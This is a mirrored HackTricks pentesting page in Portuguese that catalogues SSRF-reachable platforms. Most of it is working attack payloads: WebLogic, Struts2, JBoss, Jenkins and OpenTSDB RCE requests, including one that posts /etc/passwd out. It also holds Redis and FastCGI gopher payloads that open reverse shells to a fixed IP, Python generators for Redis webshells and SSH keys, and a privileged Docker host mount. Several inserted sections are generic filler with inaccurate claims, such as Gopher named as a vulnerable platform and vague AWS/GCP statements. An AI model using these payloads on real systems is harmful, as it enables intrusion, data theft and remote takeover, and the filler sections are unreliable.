Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-20 10:03:51 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md

35 KiB
Raw Blame History

Plataformas Vulneráveis a SSRF

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta seção foi copiada de https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

Elasticsearch

Porta comummente utilizada: 9200

Quando o Elasticsearch é implantado internamente, geralmente não requer autenticação.

Se você tiver um SSRF parcialmente cego onde você pode determinar o código de status, verifique se os seguintes endpoints retornam um 200:

/_cluster/health
/_cat/indices
/_cat/health

Se você tiver um SSRF cego onde você pode enviar solicitações POST, você pode desligar a instância do Elasticsearch enviando uma solicitação POST para o seguinte caminho:

Observação: a API _shutdown foi removida da versão 2.x e posterior do Elasticsearch. Isso só funciona no Elasticsearch 1.6 e abaixo:

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

Portas comumente vinculadas: 80, 443 (SSL), 7001, 8888

SSRF Canary: UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Isso também funciona via GET:

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Este endpoint também é vulnerável à injeção de CRLF:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

Resultará na seguinte solicitação:

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF Canary: CVE-2020-14883

Retirado aqui.

Linux:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Plataformas vulneráveis ​​a SSRF (Server-Side Request Forgery)

Windows:

IIS (Internet Information Services)

O IIS é um servidor web da Microsoft que é amplamente utilizado em sistemas operacionais Windows. Ele pode ser vulnerável a ataques de SSRF se não estiver configurado corretamente. Certifique-se de verificar se há configurações inadequadas de proxy reverso ou se o acesso a recursos internos não autorizados é permitido.

.NET Framework

O .NET Framework é uma estrutura de desenvolvimento de software da Microsoft. Aplicações baseadas em .NET podem ser vulneráveis a ataques de SSRF se não forem adequadamente protegidas. Verifique se há chamadas de rede inseguras ou se há falta de validação adequada de URLs externas.

Windows Azure

O Windows Azure é uma plataforma de computação em nuvem da Microsoft. Embora seja uma plataforma segura, aplicativos implantados no Azure podem ser vulneráveis a ataques de SSRF se não forem configurados corretamente. Verifique se há configurações inadequadas de firewall ou se há permissões excessivas concedidas a recursos internos.

Windows Server

O Windows Server é um sistema operacional de servidor da Microsoft. Ele pode ser vulnerável a ataques de SSRF se não estiver configurado corretamente. Certifique-se de verificar se há configurações inadequadas de proxy reverso ou se o acesso a recursos internos não autorizados é permitido.

SharePoint

O SharePoint é uma plataforma de colaboração da Microsoft. Ele pode ser vulnerável a ataques de SSRF se não estiver configurado corretamente. Verifique se há configurações inadequadas de proxy reverso ou se o acesso a recursos internos não autorizados é permitido.

Exchange Server

O Exchange Server é um servidor de e-mail da Microsoft. Ele pode ser vulnerável a ataques de SSRF se não estiver configurado corretamente. Certifique-se de verificar se há configurações inadequadas de proxy reverso ou se o acesso a recursos internos não autorizados é permitido.

Remote Desktop Protocol (RDP)

O Remote Desktop Protocol (RDP) é um protocolo de acesso remoto da Microsoft. Ele pode ser vulnerável a ataques de SSRF se não estiver configurado corretamente. Verifique se há configurações inadequadas de proxy reverso ou se o acesso a recursos internos não autorizados é permitido.

Windows Management Instrumentation (WMI)

O Windows Management Instrumentation (WMI) é uma infraestrutura de gerenciamento da Microsoft. Ele pode ser vulnerável a ataques de SSRF se não estiver configurado corretamente. Verifique se há configurações inadequadas de proxy reverso ou se o acesso a recursos internos não autorizados é permitido.

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

Portas comumente vinculadas: 8500, 8501 (SSL)

O relatório pode ser encontrado aqui.

Shellshock

Portas comumente vinculadas: 80, 443 (SSL), 8080

Para testar efetivamente o Shellshock, você pode precisar adicionar um cabeçalho contendo a carga útil. Os seguintes caminhos CGI valem a pena tentar:

Lista curta de caminhos CGI para testar:

Gist contendo caminhos.

SSRF Canary: Shellshock via User Agent

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

Portas comuns: 80, 8080, 8888, 8082

Veja a referência da API para o Apache Druid aqui.

Se você pode visualizar o código de status, verifique os seguintes caminhos para ver se eles retornam um código de status 200:

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

Tarefas de desligamento, requer que você adivinhe os IDs das tarefas ou o nome da fonte de dados:

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Desligar supervisores nos Apache Druid Overlords:

Para desligar os supervisores nos Apache Druid Overlords, você pode seguir os seguintes passos:

  1. Acesse a interface de gerenciamento do Apache Druid Overlords.

  2. Navegue até a seção de configurações ou opções de supervisores.

  3. Localize a opção de desligar ou parar os supervisores.

  4. Selecione a opção de desligar ou parar os supervisores e confirme a ação.

  5. Aguarde até que os supervisores sejam desligados com sucesso.

Após seguir esses passos, os supervisores nos Apache Druid Overlords serão desligados. Certifique-se de que essa ação seja realizada apenas quando necessário e com as devidas permissões.

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

Porta comummente utilizada: 8983

SSRF Canary: Parâmetro Shards

Para complementar o que o shubham está dizendo - a varredura para o Solr é relativamente fácil. Existe um parâmetro shards= que permite que você salte de SSRF para SSRF para verificar se está atingindo uma instância do Solr às cegas.

— Хавиж Наффи 🥕 (@nnwakelam) 13 de janeiro de 2021

Retirado daqui.

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

RCE via dataImportHandler

Pesquisa sobre RCE via dataImportHandler

PeopleSoft

Portas comumente vinculadas: 80,443 (SSL)

Retirado desta pesquisa aqui.

SSRF Canary: XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>

Plataformas Vulneráveis a SSRF (Server-Side Request Forgery)

Introdução

Server-Side Request Forgery (SSRF), ou Forjamento de Requisições do Lado do Servidor, é uma vulnerabilidade que permite que um atacante envie requisições a partir do servidor alvo para outros sistemas internos ou externos. Essa vulnerabilidade pode ser explorada para acessar recursos sensíveis, como arquivos internos, bancos de dados ou serviços na nuvem.

Neste documento, discutiremos algumas plataformas populares que são vulneráveis a SSRF e como explorar essa vulnerabilidade nelas.

Plataformas Vulneráveis

1. Workspace

O Workspace é uma plataforma de colaboração baseada em nuvem que permite que os usuários compartilhem e editem documentos em tempo real. No entanto, o Workspace é vulnerável a SSRF devido à forma como ele processa as URLs fornecidas pelos usuários. Um atacante pode explorar essa vulnerabilidade para enviar requisições para outros sistemas internos ou externos, potencialmente exfiltrando dados sensíveis.

2. AWS (Amazon Web Services)

A AWS é uma plataforma de serviços em nuvem amplamente utilizada que oferece uma variedade de serviços, como armazenamento, computação e banco de dados. No entanto, alguns serviços da AWS são vulneráveis a SSRF devido à forma como eles processam as URLs fornecidas pelos usuários. Um atacante pode explorar essa vulnerabilidade para acessar recursos sensíveis dentro da infraestrutura da AWS ou até mesmo comprometer outros sistemas.

3. GCP (Google Cloud Platform)

A GCP é outra plataforma de serviços em nuvem popular que oferece uma variedade de serviços, como armazenamento, computação e aprendizado de máquina. Alguns serviços da GCP também são vulneráveis a SSRF devido à forma como eles processam as URLs fornecidas pelos usuários. Um atacante pode explorar essa vulnerabilidade para acessar recursos sensíveis dentro da infraestrutura da GCP ou comprometer outros sistemas.

Conclusão

A SSRF é uma vulnerabilidade séria que pode permitir que um atacante acesse recursos sensíveis e comprometa sistemas inteiros. É importante que as organizações estejam cientes dessas vulnerabilidades e implementem medidas de segurança adequadas para mitigar o risco. Os desenvolvedores também devem estar cientes das melhores práticas de codificação para evitar introduzir vulnerabilidades de SSRF em suas aplicações.

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

Portas comumente utilizadas: 80, 443 (SSL), 8080, 8443 (SSL)

Retirado daqui.

SSRF Canary: Struts2-016:

Adicione isso ao final de cada endpoint/URL interna que você conhece:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)

Retirado daqui.

Canário SSRF: Implante WAR a partir de URL

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

Portas comumente utilizadas: 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary: Sharelinks (Versões do Confluence lançadas a partir de novembro de 2016 e anteriores)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Ticket de Segurança Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Ticket de Segurança Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Ticket de Segurança da Atlassian JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

Outros Produtos Atlassian

Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary: iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2

Ticket de Segurança Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Porta comumente associada: 4242

Execução Remota de Código no OpenTSDB

Canário SSRF: curl via RCE

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

Execução Remota de Código no OpenTSDB 2.4.0

SSRF Canary: curl via RCE - CVE-2020-35476

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

Portas comuns: 80, 443 (SSL), 8080, 8888

Ótimo artigo aqui.

SSRF Canary: CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

Siga as instruções aqui para obter RCE via GET: Hacking Jenkins Parte 2 - Abusando da Meta Programação para RCE não autenticada!

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE via Groovy

Remote Code Execution (RCE) via Groovy is a vulnerability that allows an attacker to execute arbitrary code on the target server by exploiting a Server-Side Request Forgery (SSRF) vulnerability.

Groovy is a powerful scripting language that runs on the Java Virtual Machine (JVM). It is often used in web applications to perform various tasks, such as data processing and automation.

When an application allows user-supplied input to be passed to a Groovy script without proper validation and sanitization, it can lead to an SSRF vulnerability. An attacker can craft a malicious request that tricks the server into making unintended requests to internal resources, such as the local file system or other internal services.

To exploit this vulnerability, an attacker needs to identify a vulnerable endpoint that accepts user-supplied input and passes it to a Groovy script. The attacker can then manipulate the input to perform actions that were not intended by the application.

Here is an example of how an attacker can exploit an SSRF vulnerability to achieve RCE via Groovy:

  1. Identify a vulnerable endpoint that accepts a URL parameter and passes it to a Groovy script.
  2. Craft a malicious request with a URL parameter that points to a Groovy script containing arbitrary code.
  3. Send the request to the vulnerable endpoint, tricking the server into executing the malicious Groovy script.
  4. The server will execute the arbitrary code specified in the Groovy script, giving the attacker full control over the target server.

To prevent RCE via Groovy, it is essential to implement proper input validation and sanitization. All user-supplied input should be validated and sanitized before being passed to a Groovy script. Additionally, access controls should be implemented to restrict the server's ability to make requests to internal resources.

By understanding and mitigating the RCE via Groovy vulnerability, developers can ensure the security of their web applications and protect against potential attacks.

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Painel Hystrix

Portas comumente vinculadas: 80, 443 (SSL), 8080

Spring Cloud Netflix, versões 2.2.x anteriores a 2.2.4, versões 2.1.x anteriores a 2.1.6.

SSRF Canary: CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Portas comumente utilizadas: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

Isso precisa ser uma requisição PUT:

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF Canary

O aviso para essa vulnerabilidade foi lançado aqui: Vulnerabilidade SSRF do W3 Total Cache

Este código PHP irá gerar um payload para o seu host de teste de SSRF Canary (substitua url pelo seu host de teste):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

Portas comumente vinculadas: 2375, 2376 (SSL)

Se você tiver um SSRF parcialmente cego, você pode usar os seguintes caminhos para verificar a presença da API do Docker:

/containers/json
/secrets
/services

RCE através da execução de uma imagem docker arbitrária

Existem algumas plataformas vulneráveis que permitem a execução de imagens Docker arbitrárias, o que pode levar a uma vulnerabilidade de execução remota de código (RCE). Essa técnica é conhecida como Server-Side Request Forgery (SSRF) e pode ser explorada para obter acesso não autorizado ao sistema.

A exploração desse tipo de vulnerabilidade geralmente envolve o envio de uma solicitação HTTP para um servidor vulnerável, que por sua vez faz uma solicitação para um serviço interno ou externo. O atacante pode manipular a URL da solicitação para direcioná-la para um servidor malicioso controlado por ele.

Ao explorar uma SSRF, o atacante pode fornecer uma URL que aponta para uma imagem Docker maliciosa. O servidor vulnerável, ao processar a solicitação, pode executar essa imagem Docker, permitindo que o atacante execute comandos arbitrários no sistema.

Essa técnica é particularmente perigosa, pois permite que o atacante assuma o controle total do servidor vulnerável e execute qualquer comando desejado. Portanto, é essencial que as plataformas vulneráveis corrijam essa vulnerabilidade o mais rápido possível para evitar possíveis ataques.

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

Substitua "alpine" por uma imagem arbitrária que você gostaria que o contêiner Docker executasse.

Gitlab Prometheus Redis Exporter

Portas comumente vinculadas: 9121

Essa vulnerabilidade afeta instâncias do Gitlab anteriores à versão 13.1.1. De acordo com a documentação do Gitlab, Prometheus e seus exportadores estão ativados por padrão, a partir do GitLab 9.0.

Esses exportadores fornecem um excelente método para um invasor se movimentar e atacar outros serviços usando o CVE-2020-13379. Um dos exportadores que é facilmente explorado é o Redis Exporter.

O seguinte endpoint permitirá que um invasor despeje todas as chaves no servidor Redis fornecido pelo parâmetro alvo:

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

Possível via Gopher

Redis

Porta comummente utilizada: 6379

Leitura recomendada:

RCE via Cron - Superfícies de Ataque Gopher

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Plataformas vulneráveis a SSRF

A Server-Side Request Forgery (SSRF) é uma vulnerabilidade que permite que um invasor envie solicitações HTTP a partir de um servidor para outros recursos internos ou externos. Essa vulnerabilidade pode ser explorada para acessar informações confidenciais, executar comandos no servidor ou até mesmo atacar outros sistemas.

Existem várias plataformas que são conhecidas por serem vulneráveis a SSRF. Alguns exemplos incluem:

  • Gopher: O protocolo Gopher é um protocolo de transferência de documentos que permite que os usuários acessem e recuperem recursos de servidores remotos. No entanto, o Gopher também pode ser explorado para realizar ataques SSRF, pois permite que os usuários especifiquem URLs arbitrárias para recuperar recursos.

É importante destacar que a lista acima não é exaustiva e existem outras plataformas que também podem ser vulneráveis a SSRF. É fundamental que os desenvolvedores e administradores de sistemas estejam cientes dessas vulnerabilidades e implementem medidas de segurança adequadas para mitigar os riscos associados a elas.

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCE via Shell Upload (PHP) - Resumo do Redis Getshell

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""

cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE via authorized_keys - Resumo do Getshell do Redis

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE no GitLab via protocolo Git

Ótimo artigo do Liveoverflow aqui.

Embora isso exija acesso autenticado ao GitLab para ser explorado, estou incluindo o payload aqui, pois o protocolo git pode funcionar no alvo que você está hackeando. Este payload é apenas para referência.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Porta comumente utilizada: 11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

Portas comumente utilizadas: 80, 443 (SSL), 8080, 8443 (SSL)

Efetivo apenas contra o Tomcat 6:

gopher-tomcat-deployer

CTF writeup utilizando essa técnica:

From XXE to RCE: Pwn2Win CTF 2018 Writeup

FastCGI

Portas comumente utilizadas: 80, 443 (SSL)

Isso foi retirado aqui.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

Portas comumente vinculadas: 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999

Vulnerabilidades cegas de SSRF que permitem bytes arbitrários (baseados em gopher) podem ser usadas para realizar ataques de desserialização ou de código na componentes padrão do Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Um artigo detalhado pode ser encontrado aqui. A listagem a seguir mostra um exemplo de geração de payload:

$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥